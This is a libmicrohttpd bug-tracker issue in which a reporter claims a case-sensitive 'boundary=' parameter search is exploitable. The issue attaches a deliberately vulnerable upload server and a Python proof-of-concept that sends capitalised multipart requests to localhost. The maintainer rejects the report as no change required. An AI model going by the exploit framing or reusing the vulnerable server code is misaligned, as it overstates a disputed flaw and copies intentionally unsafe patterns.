View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0011247 | libmicrohttpd | HTTP POST | public | 2026-03-13 12:38 | 2026-05-20 01:34 |
| Reporter | R111 | Assigned To | Christian Grothoff | ||
| Priority | low | Severity | minor | Reproducibility | always |
| Status | closed | Resolution | no change required | ||
| Product Version | Git master | ||||
| Target Version | 1.0.3 | Fixed in Version | 1.0.3 | ||
| Summary | 0011247: MHD_create_post_processor: case-sensitive boundary= search violates RFC 2046 | ||||
| Description | libmicrohttpd is a GNU C library that allows developers to embed an HTTP server directly into their applications. It is widely used in embedded systems, IoT devices, and network daemons. When an application needs to handle multipart/form-data POST requests (file uploads), it calls MHD_create_post_processor() to parse the request body. When an attacker sends a multipart/form-data request with a capitalized boundary parameter: • MHD_create_post_processor() returns NULL • The application's upload handler callback is never invoked • The server returns HTTP 200 OK — indistinguishable from a successful upload • No error is logged by the library File: src/microhttpd/postprocessor.c, lines 79–89 boundary = &encoding[MHD_STATICSTR_LEN_ (MHD_HTTP_POST_ENCODING_MULTIPART_FORMDATA)]; /* Q: should this be "strcasestr"? */ <-- DEVELOPER TODO boundary = strstr (boundary, "boundary="); <-- VULNERABLE LINE 82 if (NULL == boundary) return NULL; /* failed to determine boundary */ boundary += MHD_STATICSTR_LEN_ ("boundary="); blen = strlen (boundary); if ( (blen < 2) || (blen * 2 + 2 > buffer_size) ) return NULL; | ||||
| Steps To Reproduce | Target library : libmicrohttpd (git HEAD, src/microhttpd/postprocessor.c) Build flags : CFLAGS="-g -O0 -fsanitize=address,undefined" Test server : vuln_server.c (minimal libmicrohttpd file upload app) Attack tools : attacker.py (raw socket) + Burp Suite export LIB=/path/to/libmicrohttpd gcc -g -I $LIB/src/include -o vuln_server vuln_server.c \ -L $LIB/src/microhttpd/.libs -lmicrohttpd \ -Wl,-rpath,$LIB/src/microhttpd/.libs LD_PRELOAD=$(gcc -print-file-name=libasan.so) ./vuln_server | ||||
| Tags | No tags attached. | ||||
| Attached Files | vuln_server.c (3,346 bytes)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <microhttpd.h>
#define PORT 8888
static const char *HTML_PAGE =
"<!DOCTYPE html><html><body>"
"<h2>File Upload Server</h2>"
"<form method='POST' action='/upload' enctype='multipart/form-data'>"
"<input type='file' name='file'><br><br>"
"<input type='submit' value='Upload'>"
"</form></body></html>";
struct upload_ctx {
struct MHD_PostProcessor *pp;
};
static enum MHD_Result
field_cb (void *cls, enum MHD_ValueKind kind,
const char *key, const char *filename,
const char *content_type, const char *transfer_encoding,
const char *data, uint64_t off, size_t size)
{
(void)cls; (void)kind; (void)off;
(void)content_type; (void)transfer_encoding;
if (filename)
printf ("[SERVER] File received: '%s' (%zu bytes)\n", filename, size);
else
printf ("[SERVER] Field: key='%s' data='%.*s'\n", key, (int)size, data);
return MHD_YES;
}
static enum MHD_Result
handler (void *cls,
struct MHD_Connection *connection,
const char *url,
const char *method,
const char *version,
const char *upload_data,
size_t *upload_data_size,
void **con_cls)
{
(void)cls; (void)version;
if (NULL == *con_cls)
{
struct upload_ctx *ctx = calloc (1, sizeof (struct upload_ctx));
if (0 == strcmp (method, "POST") && 0 == strcmp (url, "/upload"))
{
ctx->pp = MHD_create_post_processor (connection, 65536, field_cb, NULL);
if (NULL == ctx->pp)
printf ("[SERVER] !! post processor NULL — upload BYPASSED !!\n");
else
printf ("[SERVER] post processor created OK\n");
}
*con_cls = ctx;
return MHD_YES;
}
struct upload_ctx *ctx = *con_cls;
if (0 == strcmp (method, "POST") && *upload_data_size > 0)
{
if (ctx->pp)
MHD_post_process (ctx->pp, upload_data, *upload_data_size);
*upload_data_size = 0;
return MHD_YES;
}
const char *body;
unsigned int status;
if (0 == strcmp (url, "/") || 0 == strcmp (url, "/index.html"))
{
body = HTML_PAGE;
status = MHD_HTTP_OK;
}
else if (0 == strcmp (url, "/upload") && 0 == strcmp (method, "POST"))
{
body = "<html><body><h3>Upload complete.</h3><a href='/'>Back</a></body></html>";
status = MHD_HTTP_OK;
printf ("[SERVER] Response: 200 OK\n\n");
}
else
{
body = "Not found";
status = MHD_HTTP_NOT_FOUND;
}
struct MHD_Response *response =
MHD_create_response_from_buffer (strlen (body), (void *)body,
MHD_RESPMEM_PERSISTENT);
MHD_add_response_header (response, "Content-Type", "text/html");
enum MHD_Result ret = MHD_queue_response (connection, status, response);
MHD_destroy_response (response);
if (ctx->pp) MHD_destroy_post_processor (ctx->pp);
free (ctx);
*con_cls = NULL;
return ret;
}
int main (void)
{
struct MHD_Daemon *d =
MHD_start_daemon (MHD_USE_INTERNAL_POLLING_THREAD,
PORT, NULL, NULL,
&handler, NULL,
MHD_OPTION_END);
if (! d) { fprintf (stderr, "Failed to start\n"); return 1; }
printf ("=== Vulnerable File Upload Server ===\n");
printf ("Open http://127.0.0.1:%d in your browser\n\n", PORT);
getchar ();
MHD_stop_daemon (d);
return 0;
}
poc.py (1,862 bytes)
#!/usr/bin/env python3
import socket
import time
TARGET = "127.0.0.1"
PORT = 8888
BODY = (
b"--BOUNDARY123\r\n"
b"Content-Disposition: form-data; name=\"secret_file\"; filename=\"malware.exe\"\r\n"
b"Content-Type: application/octet-stream\r\n"
b"\r\n"
b"MALICIOUS_PAYLOAD_DATA\r\n"
b"--BOUNDARY123--\r\n"
)
def send_raw(label, content_type_header):
request = (
f"POST /upload HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"Content-Type: {content_type_header}\r\n"
f"Content-Length: {len(BODY)}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode() + BODY
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.sendall(request)
time.sleep(0.2)
resp = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
s.close()
status_line = resp.split(b"\r\n")[0].decode()
print(f" [{label}]")
print(f" Content-Type: {content_type_header}")
print(f" Server response: {status_line}")
print()
print("=" * 60)
print("libmicrohttpd boundary= case-sensitivity bypass PoC")
print("RFC 2046 §4.1 violation in postprocessor.c:82")
print("=" * 60)
print()
print("--- NORMAL REQUEST (boundary= lowercase) ---")
send_raw("boundary=", "multipart/form-data; boundary=BOUNDARY123")
time.sleep(0.3)
print("--- ATTACK REQUEST 1 (Boundary= capitalized) ---")
send_raw("Boundary=", "multipart/form-data; Boundary=BOUNDARY123")
time.sleep(0.3)
print("--- ATTACK REQUEST 2 (BOUNDARY= all caps) ---")
send_raw("BOUNDARY=", "multipart/form-data; BOUNDARY=BOUNDARY123")
time.sleep(0.3)
print("ROOT CAUSE: postprocessor.c:82 strstr(boundary, \"boundary=\")")
print("Developer TODO: /* Q: should this be strcasestr? */")
print("Fix: case-insensitive search per RFC 2046 §4.1")
| ||||
|
|
You are wrong, boundaries are case-sensitive. I see nothing in RFC 2046 saying that the boundary value should be case-insensitive. In fact, the examples given use mixed-case, re-enforcing the case-sensitivity. https://www.rfc-editor.org/rfc/rfc7578?utm_source=chatgpt.com#page-4 also clearly states: "As with other multipart types, the parts are delimited with a boundary delimiter, constructed using CRLF, "--", and the value of the "boundary" parameter." The *value*, not some case-insensitive version thereof. |
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-03-13 12:38 | R111 | New Issue | |
| 2026-03-13 12:38 | R111 | File Added: vuln_server.c | |
| 2026-03-13 12:38 | R111 | File Added: poc.py | |
| 2026-05-20 01:10 | Christian Grothoff | Assigned To | => Christian Grothoff |
| 2026-05-20 01:10 | Christian Grothoff | Status | new => assigned |
| 2026-05-20 01:33 | Christian Grothoff | Note Added: 0028660 | |
| 2026-05-20 01:33 | Christian Grothoff | Status | assigned => resolved |
| 2026-05-20 01:33 | Christian Grothoff | Resolution | open => no change required |
| 2026-05-20 01:33 | Christian Grothoff | Fixed in Version | => 1.0.3 |
| 2026-05-20 01:33 | Christian Grothoff | Status | resolved => closed |
| 2026-05-20 01:33 | Christian Grothoff | Product Version | => Git master |
| 2026-05-20 01:33 | Christian Grothoff | Target Version | => 1.0.3 |
| 2026-05-20 01:34 | Christian Grothoff | View Status | private => public |